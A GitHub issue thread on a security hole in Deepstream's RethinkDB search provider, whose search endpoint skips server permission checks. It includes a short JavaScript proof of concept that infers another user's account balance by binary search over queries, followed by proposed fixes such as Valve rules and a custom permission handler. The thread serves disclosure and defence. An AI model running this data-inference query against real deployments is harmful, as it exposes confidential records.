Security notes

[farwayer]

I strongly recommend to specify in the documentation user MUST protect search endpoint if the database contains ANY confidential data in tables. Search provider has direct access to database and avoids all server permission checks.

Bad news it's not trivial to do this. Endpoint contains stringify JSON and it is hard to split permissions by table (or other params) with valve. Custom permission handler is required.

Simple attack vector

const checkAmount = (min, max) => {
  if (max - min < 1) {
    return console.log(`Amount is ${Math.round(min)}`);
  }

  const mid = (min + max) / 2;
  const query = JSON.stringify({
    table: 'accounts',
    query: [
      ['name', 'match', 'alice'],
      ['amount', 'gt', mid]
    ]
  });

  const list = client.record.getList(`search?${query}`);
  list.subscribe(entries => {
    list.discard();

    if (entries.length > 0)
      checkAmount(mid, max);
    else
      checkAmount(min, mid);
  });
};

checkAmount(0, 1000000);

[abhinavzspace]

Will the current alternative be to use RPC calls and implement queries on the backend (if you want security)? And then RPC calls can be protected by Valve?

(I am evaluating Deepstream for a realtime project.)

[layanto]

Is it possible to extract the table being queried in Valve to then check via cross reference whether a user should have access to it?

Something like

record:
  "search?$queryString":
    create: "_('permissions/' + user.data.userId).allowedSearches.indexOf($queryString.table) > -1"

Just not sure how to extract the table name from $queryString

[layanto]

Maybe this will work:

record:
  "search?$queryString":
    create: '_("permissions/" + user.data.userId).allowedSearches.indexOf($queryString.match(/{"table":"(.*?)",/)[1]) > -1'

[n-scope]

Pretty bad news indeed... Is it possible to mitigate the issue using a restricted rethinkdb user for the search provider (in rethinkdbConnectionParams) ? This user would be granted only "public" tables ?

[JoshTheDerf]

For reference, here's a custom permissions handler I wrote for this:

const ConfigPermissionHandler = require('deepstream.io/src/permission/config-permission-handler')

...

// Wrapper around ConfigPermissionHandler to handle verifying searches ourselves.
class CustomPermissionsHandler extends ConfigPermissionHandler {
  constructor () {
    // Deepstream already needs to be initialized, and the permissions configuration needs to be passed or in the options object.
    super(deepstream._options, require('./deepstream-config/permissions.json'))
  }

  // This is the important part.
  canPerformAction (username, message, callback, authData) {
    // Special logic if this is a search query.
    if (message.data && message.data[0] && message.data[0].indexOf('search?') !== -1) {
      try {
        // Parse the query payload.
        const searchPayload = JSON.parse(message.data[0].split('?')[1])

        // Create a new message replacing the search query with the target table name.
        const tableMessage = Object.assign({}, message)
        tableMessage.data = [searchPayload.table, searchPayload]

        Promise.all([
          // Run permissions checker twice, first for the search query message, then for the table access message.
          new Promise((resolve, reject) => {
            super.canPerformAction(username, message, (...args) => {
              resolve(args)
            }, authData)
          }),
          new Promise((resolve, reject) => {
            super.canPerformAction(username, tableMessage, (...args) => {
              resolve(args)
            }, authData)
          })
        ])
        .then(results => {
          // If any of those results are false, deny the request.
          const finalAllowDeny = results.reduce((acc, result) => acc && result[1], true)

          // results[0] is the most "accurate" permission check, so use any metadata for that that comes through.
          callback(results[0][0], finalAllowDeny)
        })
      } catch (e) {
        // Handle permission errors here. Passing false denies the request attempt.
        callback('Permissions Validation Error.', false)
      }
    // Otherwise pass it on to the normal handler.
    } else {
      super.canPerformAction(username, message, (...args) => {
        callback(...args)
      }, authData)
    }
  }
}

...

deepstream.set('permissionHandler', new CustomPermissionsHandler())

It basically sends two checks for search queries. One passes the full search query as expected, the other only passes the table name, allowing you to allow/deny with normal valve table rules. Seems to work okay, but I'm not sure I understand ConfigPermissionsHandler well enough to guarantee that it works 100% of the time.

[ahmadsholehin]

Has the code by @JoshTheDerf been incorporated into the community version of Deepstream? I'm afraid without permissions enforcement, this security loophole is going to be very bad for Deepstream.

[yasserf]

It hasn’t no, and I highly doubt it will be since it isn’t a core part of deepstream but is rather something specific to the real-time search provider for rethinkdb. It’s a very valid point though and documentation needs to address this. There are actually multiple issues with the provider, mainly that the query strings easily exceed the rethinkdb name size. So what people do instead is make an RPC which is permissioned, that in turn returns a hash which is used on a custom fork of the rethindb search provider to get the search parameters out. This allows you to overcome both permissions and size issues.

I agree this needs to be documented further. I could try implement a skeleton for this minus the fact you need to figure out where to store the hash to string mapping since it doesn’t scale in memory.

On Thu, 2 May 2019 at 08:57, Ahmad Sholehin [email protected] wrote:

Has the code by @JoshTheDerf https://github.com/JoshTheDerf been incorporated into the community version of Deepstream? I'm afraid without permissions enforcement, this security loophole is going to be very bad for Deepstream.

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/deepstreamIO/deepstream.io-provider-search-rethinkdb/issues/43#issuecomment-488582918, or mute the thread https://github.com/notifications/unsubscribe-auth/AAU3WS4BFYO6J2V7A3VZCQTPTKNHJANCNFSM4CRWB76A .